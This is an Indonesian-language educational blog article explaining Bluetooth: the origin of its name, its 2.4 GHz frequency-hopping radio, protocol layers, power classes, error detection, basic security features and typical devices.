<p>Pada bulan Mei 1998, 5 perusahaan promotor yaitu Ericsson, IBM, Intel, Nokia dan Toshiba membentuk sebuah <em>Special Interest Group </em>(SIG) dan memulai untuk membuat spesifikasi yang mereka namai ‘bluetooth’. Pada bulan Juli 1999 dokumen spesifikasi bluetooth versi 1.0 mulai diluncurkan. Pada bulan Desember 1999 dimulai lagi pembuatan dokumen spesifikasi bluetooth versi 2.0 dengan tambahan 4 promotor baru yaitu 3Com, Lucent Technologies, Microsoft dan Motorola. Saat ini, lebih dari 1800 perusahaan di berbagai bidang antara lain di bidang semiconductor manufacture, PC manufacture, mobile network carrier, perusahaan-perusahaan automobile dan air lines bergambung dalam sebuah konsorsium sebagai adopter teknologi bluetooth. Perusahaan-perusahaan terkemuka tersebut antara lain seperti Compaq, Xircom, Phillips, Texas instruments, Sony, BMW, Puma, NEC, Casio, Boeing, dsb.</p>
<h2>A. Sejarah Bluetooth</h2>
<p>Bluetooth adalah nama orang, yaitu Harold Bluetooth (dalam bahasa Inggris) atau Harald Blatand (bahasa Denmark), raja Viking Denmark di tahun 940-985, yang berhasil melanjutkan perjuangan ayahnya raja Gorm Dek Gammel, mempersatukan Denmark dengan Norwegia.</p>
<p>Nama bluetooth mengesankan akan gambaran gigi seseorang yang berwarna biru atau butut. Konotasi demikian tidaklah jauh keliru, karena menurut cerita mitologi, Raja Viking Denmark itu konon berambut dan berkulit gelap. Ia gemar makan <em>blueberries</em> atau arbei, maka layak bila gigi Blatand menjadi kebiru-biruan atau blue tooth.</p>
<p>Bila Harald Blatand memiliki prestasi dan supremasi mempersatukan Denmark dan Norwegia, (walau kedua negara itu kini tak menjadi satu negara), bluetooth abad ke-21 berperan sebagai pemersatu atau jembatan keterhubungan antaraneka produk berteknologi high end sehingga bisa saling berinteraksi dan beroperasi melalui kendali chipset bluetooth yang dipasang pada produk-produk terkait. Benang merah antara mitologi dan supremasi teknologi pun kini menjadi lebih berkait. Untuk peralatan mobile memliki banyak kenunggulan yaitu: ringan, komsumsi power endah dan mudah digunakan.</p>
<div id="attachment_369" class="wp-caption aligncenter" style="width: 159px"><img class="size-full wp-image-369 " title="logo_bluetooth" src="http://www.andisun.com/wp-content/uploads/2009/08/logo_bluetooth.png" alt="Logo Bluetooth" width="149" height="108" /><p class="wp-caption-text">Logo Bluetooth</p></div>
<h2>B.   Teknologi Bluetooth</h2>
<p>Bluetooth terdiri dari <em>microchip</em> radio penerima/pemancar yang sangat kecil/pipih dan beroperasi pada pita frekuensi standar global 2,4 GHz. Teknologi ini menyesuaikan daya pancar radio sesuai dengan kebutuhan. Ketika radio pemancar mentransmisikan informasi pada jarak tertentu, radio penerima akan melakukan modifikasi sinyal-sinyal sesuai dengan jarak yang selaras sehingga terjadi <em>fine tuning</em>. Data yang ditransmisikan oleh <em>chipset </em>pemancar akan diacak, diproteksi melalui inskripsi serta otentifikasi dan diterima oleh chipset yang berada di peralatan yang dituju.</p>
<p style="text-align: center;">
<div id="attachment_370" class="wp-caption aligncenter" style="width: 564px"><img class="size-full wp-image-370 " title="freq_radio_alocations" src="http://www.andisun.com/wp-content/uploads/2009/08/freq_radio_alocations.png" alt="Alokasi Frekuensi Radio" width="554" height="113" /><p class="wp-caption-text">Alokasi Frekuensi Radio</p></div>
<p>Teknologi Bluetooth dirancang dan dioptimalkan untuk perangkat yang bersifta mobile <em>(Mobile device)</em>.  Komputer yang bersifat mobile seperti <em>laptop, tablet PC, </em>atau <em>notebook, cellular, handset, network access point, printer, PDA, desktop, keyboard, joystick </em>dan <em>device </em>yang jangkauannya seperti bluetooth yang bekerja pada jaringan bebas 2.4GHz Industrial-<em>Scientific-Medical </em>(ISM) jalur yang terintegrasi didalam sebuah chip.</p>
<p>Untuk peralatan mobile komsumsi tenaga listrik harus diperhatikan, Bluetooth memerlukan daya yang rendah yaitu kurang dari 0.1 W. Dan sejak bluetooth di desain untuk kedua keperluan yaitu komputasi dan aplikasi komunikasi. Bluetooth juga didesain untuk mensupport komunikasi secara bersama suara dan data dengan kemampuan transfer data sampai 721 Kbps. Bluetooth juga mensupport layanan <em>synchronous </em>dan <em>ansynchronous </em>dan mudah di integrasikan dengan jaringan TCP/IP.</p>
<p>Setiap teknologi yang menggunakan spektrum ini mempunyai batasan sesuai dengan aplikasinya. Komunikasi Bluetooth didesain untuk memberikan keuntungan yang optimal dari tersedianya spektrum ini dan mengurangi interferensi RF. Semuanya itu akan terjadi karena Bluetooth beroperasi menggunakan level energi yang rendah.</p>
<p><span id="more-367"></span></p>
<h2>C.   Arsitektur Bluetooth</h2>
<p>Teknologi bluetooth dibagi menjadi dua spesifikasi yaitu spesifikasi <em>core</em> dan <em>profile</em>. Spesifikasi <em>core</em> menjelaskan bagaimana teknologi ini bekerja, sementara itu spesifikasi <em>profile</em> bagaimana membangun <em>interoperation</em> antar perangkat bluetooth dengan menggunakan teknologi <em>core</em>.</p>
<p>Berikut gambaran protokol Bluetooth.</p>
<div id="attachment_371" class="wp-caption aligncenter" style="width: 479px"><img class="size-full wp-image-371" title="bluetooth_protocol" src="http://www.andisun.com/wp-content/uploads/2009/08/bluetooth_protocol.png" alt="Protokol Bluetooth" width="469" height="303" /><p class="wp-caption-text">Protokol Bluetooth</p></div>
<p><strong><em>Baseband</em></strong>: Lapis yang memungkinkan hubungan RF terjadi antara beberapa unit Bluetooth membentuk <em>piconet</em>. Sistem RF dari Bluetooth ini menggunakan frekuensi-<em>hopping-spread spectrum</em> yang mengirimkan data dalam bentuk paket pada time slot dan frekuensi yang telah ditentukan, lapis ini melakukan prosedur pemeriksaan dan <em>paging</em> untuk sinkronisasii  transmisi frekuensi <em>hopping </em>dan <em>clock </em>dari perangkat Bluetooth yang berbeda.</p>
<p><strong><em>Link Manager Protocol </em></strong><strong>(LMP)</strong>: The link manager protocol adalah perespon, menset dan menghubungkan kanal antara perangkat keras. Protokol ini terdapat meningkatkan performa keamanan seperti membentuk autentifikasi, pertukaran, dan verifikasi dan kunci enkripsi dan negosiasi ukuran paket <em>baseband</em>.</p>
<p><strong><em>Logical Link Control and Adaptation Protocol </em></strong><strong>(L2CAP)</strong>: Paket L2CAP membawa muatan yang penting yang dibawa ke layer protokol yang lebih tinggi.</p>
<p><strong><em>Service Discovery Protocol</em></strong><strong> (SDP)</strong>: Protokol ini digunakan untuk memberikan informasi <em>device</em>, pelayanan diperbolehkan untuk mengakses <em>device </em>yang berfungsi.</p>
<p><strong><em>Cable Replacement Protocol </em>(RFCOMM)</strong>: RFCOMM adalah emulasi jalur serial.</p>
<p><strong><em>Telephony Control Protocol:</em> </strong><em>The Telephony Control &#8211; Binary </em>(TCS Binary) and <em>Telephony Control &#8211; AT Commands </em>digunakan untuk  menyusun percakapan dan data antara device dan mengkontrol <em>mobile phone </em>dan modem.</p>
<p><strong><em>Adopted Protocols</em></strong>: Bluetooth juga mensupport protokol PPP, TCP/UDP/IP, OBEX dan WAP untuk memaksimalkan interoperabilitasnya.</p>
<h3><strong>C. 1</strong><strong> Radio Frequency (RF)</strong></h3>
<p>Adalah lapis terendah dari spesifikasi Bluetooth . Unit RF merupakan sebuah <em>transceiver</em> yang memfasilitasi hubungan <em>wireless</em> antar perangkat <em>bluetooth</em> yang beroperasi pada <em>International Scientific and Medical (ISM) band </em>dengan frekuensi 2,4GHz. ISM <em>band </em>bekerja dengan <em>frequency-hopping, </em>dan pembagiannya<em> </em>dibuat dalam 79 hop dengan <em>spasi</em> 1 MHz. Teknologi <em>frequency-hopping </em>dimungkinkan berbagai jenis perangkat transmit pada frekuensi yang sama tanpa menimbulkan irterferensi. Daya yang dianjurkan untuk radio bluetooth ini diklasifikasikan menjadi tiga kelas seperti diperlihatkan dalam berikut.</p>
<p style="text-align: left;">Tabel Klasisfikasi daya pancar radio Bluetooth</p>
<table style="width: 533px; height: 149px;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="96"><strong>Kelas Daya</strong></td>
<td width="192"><strong>Daya output maksimum   [mW]</strong></td>
<td width="204"><strong>Jangkauan   /Range[meter]</strong></td>
</tr>
<tr>
<td style="text-align: center;" width="96">1</td>
<td width="192">&lt;100 (20dBm)</td>
<td width="204">100</td>
</tr>
<tr>
<td style="text-align: center;" width="96">2</td>
<td width="192">1 – 2,5 (4 dBm)</td>
<td width="204">10</td>
</tr>
<tr>
<td style="text-align: center;" width="96">3</td>
<td width="192">1 mw (0dBm)</td>
<td width="204">0,1 – 1</td>
</tr>
</tbody>
</table>
<p>Dalam jaringan bluetooth pelaksanaan komunikasi pada waktu tertentu  diasumsikan hanya beberapa stasion yang berpartisipasi berkomunikasi yaitu sebuah <em>master</em> dan satu atau lebih <em>slave, </em>kelompok ini disebut<em> piconet</em>. Master mengeset urutan <em>hopping</em>, dan slave mensinkronkannya dengan master. Slave hanya berkomunikasi dengan master. Master dalam piconet hanya mampu berkomunikasi dengan tujuh buah slave aktif dan maksimum sampai 255 slave tidak aktif. Bila lebih dari tujuh stasion yang ingin berkomunikasi maka dapat membuat jaringan piconet baru, gabungn beberapa piconet disebut <em>scatternet</em>.</p>
<h3><strong>C. 2</strong><strong>Frequency Hopping</strong></h3>
<p>Spread spektrum dengan frekuensi Hopping adalah proses spread atau penyebaran spektrum yang dilakukan pemancar dengan frekuensi pembawa informasi yang merupakan deretan pulsa termodulasi acak semu (pseudorandom) yang dilompat-lompatkan dari satu nilai frekuensi ke nilai frekuensi yang lain dalam lebar spektrum frekuensi yang telah ditetapkan sebelumnya dan berulang kali dengan pola kode yang dapat dimodifikasi secara saling bebas, sehingga dapat menempatkan sejumlah pemakai dalam lebar spektrum frekuensi tersebut dengan berbeda pola acak kode generatornya.</p>
<p>Penyebaran spektrum digunakan, karena:</p>
<ol>
<li>Kemampuannya membatasi interferensi internal akibat padatnya lalu lintas komunikasi yang menggunakan frekuensi radio</li>
<li>Kemampuan menolak terhadap penyadapan informasi oleh penerima yang tidak dikenal</li>
<li>Dapat dioperasikan dengan kerapatan spektral berenergi rendah.</li>
<li>Dalam sinyal lompatan frekuensi, frekuensi bersifat konstan dalam tiap selang waktu alokasi, tetapi berubah nilainya dari waktu ke waktu seperti terlihat pada gambar dibawah ini.</li>
</ol>
<div id="attachment_372" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-372" title="master_and_slave_freq" src="http://www.andisun.com/wp-content/uploads/2009/08/master_and_slave_freq.png" alt="Sinyal Frekuensi Hopping Master dan Slave" width="500" height="216" /><p class="wp-caption-text">Sinyal Frekuensi Hopping Master dan Slave</p></div>
<h3><strong>C. 3</strong><strong> Pita Frekuensi dan Kanal RF</strong></h3>
<p>Bluetooth beroperasi dalam pita frekuensi 2,4 GHz ISM, walaupun secara global alokasi frekuensi bluetooth telah tersedia, namun untuk berbagai negara pengalokasian frekuensi secara tepat dan lebar pita frekuensi yang digunakan berbeda. Batas frekuensi serta kanal RF yang digunakan oleh beberapa negara dapat dilihat pada.</p>
<p style="text-align: left;">Tabel Pita Rang Kanal RF</p>
<table style="width: 435px; height: 131px;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="110"><strong>Negara</strong></td>
<td width="128"><strong>Range Frekuensi</strong></td>
<td width="105"><strong>Kanal RF</strong></td>
<td width="63"><strong> </strong></td>
</tr>
<tr>
<td width="110">Eropa *) dan USA</td>
<td width="128">2400 – 2483,5 MHz</td>
<td width="105">f = 2402 + k MHz</td>
<td width="63">k = 0,…,78</td>
</tr>
<tr>
<td width="110">Jepang</td>
<td width="128">2471 –   2497 MHz</td>
<td width="105">f = 2473 + k MHz</td>
<td width="63">k = 0,…,22</td>
</tr>
<tr>
<td width="110">Spanyol</td>
<td width="128">2445 – 2475 MHz</td>
<td width="105">f = 2449 + k MHz</td>
<td width="63">k = 0,…,22</td>
</tr>
<tr>
<td width="110">Perancis</td>
<td width="128">2446,5 – 2483,5 MHz</td>
<td width="105">f = 2454 + k MHz</td>
<td width="63">k = 0,…,22</td>
</tr>
</tbody>
</table>
<p>*) Kecuali Spanyol dan Perancis</p>
<h3><strong>C. 4</strong><strong>Bluetooth Baseband</strong></h3>
<p>Lapis yang memungkinkan hubungan RF terjadi antara beberapa unit Bluetooth membentuk <em>piconet</em>. Sistem RF dari Bluetooth ini menggunakan frekuensi-<em>hopping-spread spectrum</em> yang mengirimkan data dalam bentuk paket pada time slot dan frekuensi yang telah ditentukan, lapis ini melakukan prosedur pemeriksaan dan paging untuk sinkronisasi  transmisi frekuensi hopping dan clock dari perangkat Bluetooth yang berbeda.</p>
<p>Unit <em>baseband</em> atau disebut link <em>control unit</em>, adalah perangkat keras yang memfasilitasi hubungan RF diantara perangkat Bluetooth. Apabila sudah tersambung, terdapat dua jenis hubungan yang dapat dikerjakan oleh unit ini yaitu <em>synchronous conection-oriented </em>(SC0) dan <em>asynchronous connectionless </em>(ACL). Sambungan SCO dapat melakukan <em>circuit-switched</em>, sambungan <em>point-to-point </em>(biasanya untuk data), suara dan <em>streaming</em>.</p>
<p>Kecepatan data pada kedua sisi (pengirim, penerima) adalah 433,9 Kbps. ACL melayani sambungan <em>packet-switched </em>dan  <em>point to multipoint biasanya hanya untuk data. </em>Kecepatan sisi penerima mencapai 723,2 Kbps dan sisi pengirim hanya 57,6 Kbps. Modul <em>Baseband </em>ini terdiri dari <em>flash memory </em>dan sebuah <em>central processing unit </em>yang bertugas mengatur <em>timming</em>, <em>frequency hopping</em>, enkripsi data dan <em>error correction </em>bekerja sama dengan <em>link manager protocol </em>(LMP). LMP merupakan protokol Bluetooth yang bertugas mengontrol dan men-setup hubungan data dan <em>audio </em>diantara perangkat Bluetooth. Seperti terlihat pada Gambar dibawah, <em>radio frequency </em>(RF), <em>baseband </em>dan <em>link manager protocol </em>disebut sebagai  <em>Host Control Interface </em>(HCI) yang berfungsi melaksanakan dan menjaga semua hubungan komunikasi dalam Bluetooth.</p>
<div id="attachment_373" class="wp-caption aligncenter" style="width: 541px"><img class="size-full wp-image-373" title="interkoneksi_bluetooth" src="http://www.andisun.com/wp-content/uploads/2009/08/interkoneksi_bluetooth.png" alt="Interkoneksi antar master dan slave pada piconet dan scatternet" width="531" height="191" /><p class="wp-caption-text">Interkoneksi antar master dan slave pada piconet dan scatternet</p></div>
<p>Bluetooth adalah standard dari teknologi chip yang kecil dan murah, yang dapat dipasangkan ke komputer, printer, telepon seluler dan lain-lain. Bluetooth adalah chip yang dirancang untuk menggantikan fungsi kabel yang dapat membawa informasi yang dapat dibawa oleh kabel. Menggunakan link radio 2,4 GHz dengan 79 kanal RF, spasi kanal 1 MHz, <em>Bluetooth</em> dirancang untuk mengirim dan menerima informasi yang biasanya dibawa oleh kabel-kabel yang ada di sekeliling kita seperti komputer, printer, kamera TV dan lainnya.</p>
<h2>D.   Komunikasi Data</h2>
<p>Komunikasi data berkaitan dengan komunikasi mesin ke mesin seperti terminal ke komputer dan komputer ke komputer. Karena mesin seperti ini sinyalnya berbentuk digital maka komunikasi termudahnya dengan sinyal digital. Hampir semua macam informasi dewasa ini telah disalurkan dalam bentuk digital.</p>
<p>Komunikasi data merupakan gabungan dari 2 macam teknik yaitu teknik telekomunikasi dan teknik pengolahan data. Secara umum komunikasi data dapat dikatakan sebagai proses pengiriman informasi (data) yang telah diubah dalam suatu kode tertentu yang telah disepakati melalui media listrik atau elektro optik dari titik ke titik yang lain. Apabila titik-titk yang terbentuk banyak maka terbentuk suatu jaringan komunikasi data.</p>
<p>Adapun tujuan dari komunikasi data ini adalah:</p>
<ol>
<li>Memungkinkan      pengiriman data dalam jumlah yang besar, efisien, tanpa kesalahan dan      ekonomis dari satu tempat ke tempat yang lain.</li>
<li>Memungkinkan      penggunaan sistem komputer dan peralatannya dari jauh.</li>
<li>Memungkinkan      penggunaan sistem komputer secara terpusat maupun secara tersebar.</li>
<li>Mempermudah      kemungkinan pengelolaan dan pengaturan data yang ada dalam berbagai macam      sistem komputer.</li>
<li>Mengurangi waktu untuk pengolahan      data.</li>
<li>Mendapatkan      data langsung dari sumbernya.</li>
<li>Mempercepat penyebarluasan      informasi.</li>
</ol>
<p>Sistem bluetooth terdiri dari sebuah radio transceiver, baseband link controller dan sebuah link manager. Baseband link controller menghubungkan perangkat keras radio ke base band processing dan layer protokol fisik. Link manager melakukan aktivitas-aktivitas protokol tingkat tinggi seperti melakukan link setup, autentikasi dan konfigurasi. Secara umum blok fungsional pada sistem bluetooth dapat dilihat pada gambar dibawah:</p>
<div id="attachment_374" class="wp-caption aligncenter" style="width: 564px"><img class="size-full wp-image-374 " title="deskripsi_umum_sistem_bluetooth" src="http://www.andisun.com/wp-content/uploads/2009/08/deskripsi_umum_sistem_bluetooth.png" alt="Deskripsi Umum Sistem Bluetooth" width="554" height="117" /><p class="wp-caption-text">Deskripsi umum Sistem Bluetooth</p></div>
<h2>E.   Metode Deteksi Kesalahan</h2>
<p>Ketika data dikirimkan antara dua terminal, data dapat terganggu akibat interferensi elektromagnetik pada media transmisinya. Ini mengakibatkan bit data yang diterima dapat mengalami kesalahan kirim dari bit ‘1’ menjadi bit ‘0’ atau sebaliknya. Oleh karena itu terminal penerima harus mempunyai kemampuan yang dapat mengenali kesalahan pengiriman ini. Selanjutnya jika kesalahan terdeteksi, sebuah mekanisme dibutuhkan untuk mendapatkan informasi yang benar. Ada dua pendekatan untuk mencapai hal ini:</p>
<ol>
<li><em>Forward      error control (FEC),</em> dimana setiap karakter atau frame yang      dikirimkan berisi informasi tambahan yang membuat penerima tidak hanya      dapat mendeteksi kesalahan namun juga dapat mengetahui dimana letak bit      yang salah dalam pengiriman itu. Data yang benar selanjutnya      diperoleh melalui meng-inversi bit ini. Dalam <em>Bluetooth</em>, ada 2 versi dari FEC yaitu 1/3 FEC dan 2/3 FEC. 1/3      FEC adalah metode kesalahan dengan melakukan pengulangan pengiriman bit      sebanyak 3 kali tiap info bit. 2/3 FEC menggunakan kode hamming dalam      deteksi kesalahannya.</li>
<li><em>Feedback (backward) error control, </em>dimana      setiap karakter atau frame yang dikirimkan hanya berisi informasi yang      cukup untuk mendeteksi adanya kesalahan saja tanpa tahu letak kesalahan,      selanjutnya frame data yang sama akan dikirimkan lagi tanpa adanya      pembetulan kesalahan.</li>
<li><em>Cyclic redundancy check (CRC),</em> adalah metode deteksi kesalahan yang menaambahkan kode 16 bit pada paket      untuk mengetahui apakah informasi yang dikirimkan benar atau salah. Kode      generator yang digunakan adalah CRC-CCIT polinomial.</li>
<li>Faktor      yang paling dikenali dalam deteksi kesalahan ini adalah <em>bit error rate (BER)</em>. BER adalah <em>probabilitas</em> P dari sebuah bit yang      salah dalam interval waktu tertentu. Jadi BER sebesar 10<sup>-3</sup> artinya bahwa ada 1 bit yang salah dalam 10<sup>3</sup> bit yang dikirim      dalam interval waktu tertentu.</li>
</ol>
<h2>F.    Keamanan Bluettoth</h2>
<p>Bluetooth dirancang untuk memiliki fitur-fitur keamanan sehingga dapat digunakan secara aman baik dalam lingkungan bisnis maupun rumah tangga. Fitur-fitur yang disediakan bluetooth antara lain sebagai berikut:</p>
<ol>
<li>Enkripsi data.</li>
<li>Autentikasi user</li>
<li>Fast      frekuensi-hopping (1600 hops/sec)</li>
<li>Output power control</li>
</ol>
<p>Fitur-fitur tersebut menyediakan fungsi-fungsi keamanan dari tingkat keamanan layer fisik/ radio yaitu gangguan dari penyadapan sampai dengan tingkat keamanan layer yang lebih tinggi seperti password dan PIN.</p>
<h2>G.   Metode Penyambung Data</h2>
<h3>G.1 <em>Circuit Switched</em></h3>
<p>Komunikasi dilakukan dengan 3 tahap:</p>
<ol>
<li>Pembangunan Sirkuit: Sebelum      pengiriman data dilakukan, hubungan sirkuit antar terminal harus dibentuk      terlebih dahulu (end to end circuit)</li>
<li>Pengiriman data: Biasanya Full Duplex</li>
<li>Pemutusan      hubungan dilakukan oleh salah satu terminal</li>
</ol>
<h3>G.2   <em>Message Switched</em></h3>
<p>Data dikirimkan dalam bentuk message dari terminal pengirim ke terminal penerima, pembangunan hubungan tidak diperlukan. Jika sebuah terminal ingin mengirimkan data, maka terminal tersebut hanya perlu mencantumkan alamat tujuan pada message.</p>
<p>Kelebihan dari metode ini adalah:</p>
<ol>
<li>Efisiensi saluran besar, karena      kanal antar node dapat digunakan bersama-sama oleh beberapa message</li>
<li>Ketersediaan perangkat antara      pengiriman dan penerima pada saat yang sama tidak menjadi syarat      terjadinya pengiriman data (message dapat disimpan)</li>
<li>Bila traffik padat, data akan      ditunda sedangkan pada metode Ciurcuit Switched akan ditolak</li>
<li>Dapat mengirim lebih dari satu      tujuan dengan duplikasi</li>
<li>Dapat dibuat message dengan      prioritas yang berbeda</li>
<li>Dapat dibangun prosedur      pengontrolan dan perbaikan kesalahan message dalam jaringan</li>
</ol>
<h3><strong>G.3</strong> <strong><em>Packet Switched </em></strong></h3>
<p>Merupakan kombinasi dari keduanya, prinsip mirip dengan message switched. Perbedaan terletak pada panjang data pada jaringan. Panjang data mulai dari seribu bit sampai beberapa ribu bit. Jika melebihi panjang maksimum maka data tersebut harus dibagi menjadi unit-unit yang kecil yang disebut paket. Perbedaan yang lain, paket yang dikirimkan akan disimpan dan dibuat salinannya untuk perbaikan apabila terjadi kesalahan.</p>
<h3><strong>G.4  Transmisi Asinkron (<em>asynchronous connectionless/ACL</em>) </strong></h3>
<p>Transmisi asinkron digunakan bila pengiriman data dilakukan satu karakter setiap kali. Antara satu karakter dengan yang lainnya tidak ada waktu antara yang tetap. Karakter dapat dikirimkan sekaligus ataupun beberapa karakter kemudian berhenti untuk waktu tidak tentu, lalu dikirimkan sisanya. Akibatnya setiap kali penerima harus melakukan sinkronisasi supaya bit data yang dikirimkan diterima dengan benar.</p>
<p>Dengan demikian penerima harus mengetahui mulainya bit pertama dari sinyal data. Caranya dengan memberikan suatu pulsa yang disebut start pulse pada awal tiap karakter. Pulsa ini memberitahukan penerima untuk mulai menerima bit data. Umumnya keadaan idle, yaitu keadaan tanpa transmisi sinyal, dikatakan keadaan tinggi (high) atau mark. Transmisi asinkron kadang-kadang disebut transmisi awal akhir (start-stop transmission), karena tiap karakter mengalami sinkronisasi dengan jalan penggunaan bit awal dan bit akhir.</p>
<p><strong> </strong></p>
<h3><strong>G.5   Transmisi Sinkron (<em>syncronous connection oriented / SCO</em>)</strong></h3>
<p>Digunakan untuk transmisi kecepatan tinggi, yang mentransmisikan satu blok data. Dalam sistem ini baik pengirim maupun penerima bekerja bersama-sama dan sinkronisasi dilakukan setiap sekian ribu bit data. Bit awal/akhir data tidak dibutuhkan untuk tiap karakter. Sinkronisasi terjadi dengan jalan mengirimkan pola data tertentu antara pengirim dan penerima. Pola data ini disebut karakter sinkronisasi.</p>
<p>Dengan transmisi sinkron, blok atau frame data dikirimkan secara kontinu tanpa ada delay setiap elemen 8-bitnya. Tiap blok panjangnya sama. Waktu antara akhir dari bit terakhir dari suatu karakter dan awal bit pertama karakter berikutnya harus nol atau kelipatan dari waktu satu karakter. Untuk mencapai sinkronisasi pengirim harus mengirm karakter khusus dan penerima harus mengenalinya.</p>
<p>Pada teknologi bluetooth, transmisi sinkron digunakan untuk mengirimkan data audio atau suara dengan kecepatan yang berbeda-beda.</p>
<h2>G.   Susunan Protokol pada Bluetooth</h2>
<p>Bila ada dua perangkat atau lebih dengan sistem yang berbeda ingin berkomunikasi, harus menggunakan bahasa yang sama agar dapat berhubungan. Apa yang dikomunikasikan, bagaimana berkomunikasi dan kapan komunikasi itu berlangsung harus dapat dimengerti oleh perangkat yang mengadakan hubungan. Bahasa itu dalam komunikasi data yang umum disebut dengan protokol. Protokol dapat berbentuk beberapa aturan yang mendasari komunikasi data antar dua atau lebih perangkat.</p>
<p>Bluetooth Special Interest Group (SIG) telah mengembangkan spesifikasi Bluetooth yang berisi tentang protokol yang akan digunakan dalam teknologi Bluetooth ini. Berikut adalah gambar dari protokol arsitektur dalam Bluetooth.</p>
<div id="attachment_375" class="wp-caption aligncenter" style="width: 412px"><img class="size-full wp-image-375" title="bluetooth_protokol_detail" src="http://www.andisun.com/wp-content/uploads/2009/08/bluetooth_protokol_detail.png" alt="Susunan Detail Protokol Bluetooth" width="402" height="269" /><p class="wp-caption-text">Susunan Detail Protokol Bluetooth</p></div>
<p>Spesifikasi di atas juga menyebutkan adanya <em>Host Controller Interface (HCL)</em> yang menyediakan interface pada <em>Baseband</em> kontrol, <em>link manager.</em> HCL dapat diposisikan di bawah L2CAP, namun posisi ini tidak mutlak karena bisa juga HCL berada di atas L2CAP.</p>
<p>Protokol inti Bluetooth berisi protokol yang secara spesifik dikembangkan oleh <em>Bluetooth</em> SIG. RFCOMM dan <em>TCS Binary</em> juga dikembangkan oleh <em>Bluetooth</em> SIG namun berdasarkan spesifikasi dari ETSI 07.10 dan rekomendasi ITU-T nomor Q.931. Protokol inti <em>bluetooth</em> adalah persyaratan yang mutlak ada di semua perangkat teknologi <em>Bluetooth</em> sedangkan protokol lainnya digunakan sesuai keperluan.</p>
<p>Protokol dasar Bluetooth adalah Bluetooth Radio, Baseband dan Link Manager Protocol (LMP) yang disebut protokol inti. Sedangkan protokol yang ada di atasnya adalah protokol-protokol terapan yang dapat diadaptasikan pada arsitektur protokol Bluetooth dan telah dikembangkan oleh organisasi lain seperti ETSI. Secara garis besar susunan protokol itu dapat dibagi menjadi 4 bagian seperti terlihat pada tabel Protokol dan Lapisan pada Arsitektur Protokol Bluetooth Radio, baseband dan LMP ekivalen dengan lapis fisik dan data link pada lapis protokol OSI.</p>
<p style="text-align: left;">Tabel Protokol dan Lapisan pada  Arsitektur Protokol Bluetooth</p>
<table style="width: 475px; height: 145px;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="204"><strong> Lapis protokol</strong></td>
<td width="264"><strong>Protokol dalam struktur</strong></td>
</tr>
<tr>
<td width="204">Protokol inti <em>Bluetooth</em></td>
<td width="264"><em>Bluetooth</em> Radio, Baseband, LMP,  L2CAP, SDP</td>
</tr>
<tr>
<td width="204">Protokol pengganti fungsi kabel</td>
<td width="264">RFCOMM</td>
</tr>
<tr>
<td width="204">Protokol kontrol telepon</td>
<td width="264">TCS Binary, AT-commands</td>
</tr>
<tr>
<td width="204">Protokol adaptasi</td>
<td width="264">PPP, UDP/TCP/IP, OBEX, WAP, vCard, vCal, WAE</td>
</tr>
</tbody>
</table>
<p><strong>Protokol Inti <em>Bluetooth</em> </strong></p>
<p>Untuk lebih lengkapnya protokol Bluetooth mendukung protokol yang sudah ada seperti TCP, UDP, OBEX dan portokol spesial bluetooth yaitu LMP dan L2CAP. Protokol Bluetooth menjadmin interoperabilitas yang bagus antara aplikasi dan hardware.</p>
<p>Protokol yang ada pada lapis ini bila dikaitkan dengan lapis protokol pada OSI sesuai dengan lapis 1 OSI yaitu lapis fisik dan lapis 2 OSI yaitu lapis <em>Data Link.</em> Secara kolektif protokol pada lapis inti ini membentuk suatu pipa secara virtual yang digunakan untuk mengalirkan data dari satu perangkat ke perangkat lainnya melalui interface udara <em>bluetooth</em>.</p>
<p style="text-align: left;">Tabel Alokasi frekuensi pada spektrum 2.4 GHz</p>
<table style="width: 572px; height: 81px;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="197" valign="top">2.4 GHz ISM Band (MHz)</td>
<td width="155" valign="top">Kanal RF; k=0,1,…,m-1</td>
<td width="111" valign="top">LGB (MHz)</td>
<td width="100" valign="top">UGB (MHz)</td>
</tr>
<tr>
<td width="197" valign="top">2.400-2.4835</td>
<td width="155" valign="top">2.402+k; m=79</td>
<td width="111" valign="top">2.0</td>
<td width="100" valign="top">3.5</td>
</tr>
</tbody>
</table>
<h2>H.   Audio</h2>
<p>Data berbentuk audio dapat ditransfer antara satu atau lebih perangkat Bluetooth, menggunakan bentuk paket SCO dan langsung diolah oleh baseband tanpa melalui L2CAP. Model audio pada Bluetooth cukup sederhana, tiap dua perangkat Bluetooth dapat mengirimkan dan menerima data audio satu sama lain hanya dengan membuka link audio.</p>
<h2>I.     <em>Link Manager Protocol </em>(LMP)</h2>
<p>LMP bertanggung jawab terhadap link set-up antara perangkat <em>bluetooth</em>. Hal ini termasuk aspek keamanan seperti autentifikasi dan enkripsi dengan pembangkitan, penukaran dan pemeriksaan ukuran paket dari lapis baseband.<strong> </strong></p>
<p>Berbagai protokol pengaturan link dapat dikirimkan melalui LMP PDU. Adapun protokol pengaturan yang penting antara lain:</p>
<ol>
<li>Autentifikasi perangkat dan      enkripsi sebagai bagian dari manajemen keamanan informasi yang terkirim      pada perangkat <em>bluetooth</em>.</li>
<li>Pemilihan      mode penggunaan daya seperti mode sniff, hold dan mode park sebagai bagian      dari manajemen daya perangkat.</li>
<li>Pengaturan      pola <em>paging</em>, pertukaran      master-slave, informasi clock, berbagai pembangunan hubungan lain sebagai      bagian dari manajemen kontrol link atau baseband.</li>
</ol>
<h2>J.    Implementasi Teknologi Bluetooth</h2>
<p>Modul Bluetooth adalah chip yang berada dalam aplikasi-aplikasi seperti audio <em>headset</em>, PC, telepon seluler dan berbagai perangkat komunikasi data lainnya yang dapat ditanamkan chip ini misalnya keyboard, mouse, printer, sound system, kamera digital, mesin faksimile, terminal musik VCD atau MP3 player dan lainnya. Sedangkan <em>Host </em>adalah perangkat komunikasi data yang ditanamkan chip Bluetooth. Modul Bluetooth selalu mengikuti 3 protokol ini yang merupakan lapisan bawah pada susunan protokol Bluetooth. Radio merupakan antarmuka fisik melalu udara antar perangkat Bluetooth.</p>
<p align="center">
<div id="attachment_376" class="wp-caption aligncenter" style="width: 391px"><img class="size-full wp-image-376" title="bluetooth_device" src="http://www.andisun.com/wp-content/uploads/2009/08/bluetooth_device.png" alt="Perangkat yang Menggunakan Teknologi Bluetooth" width="381" height="235" /><p class="wp-caption-text">Perangkat yang Menggunakan Teknologi Bluetooth</p></div>
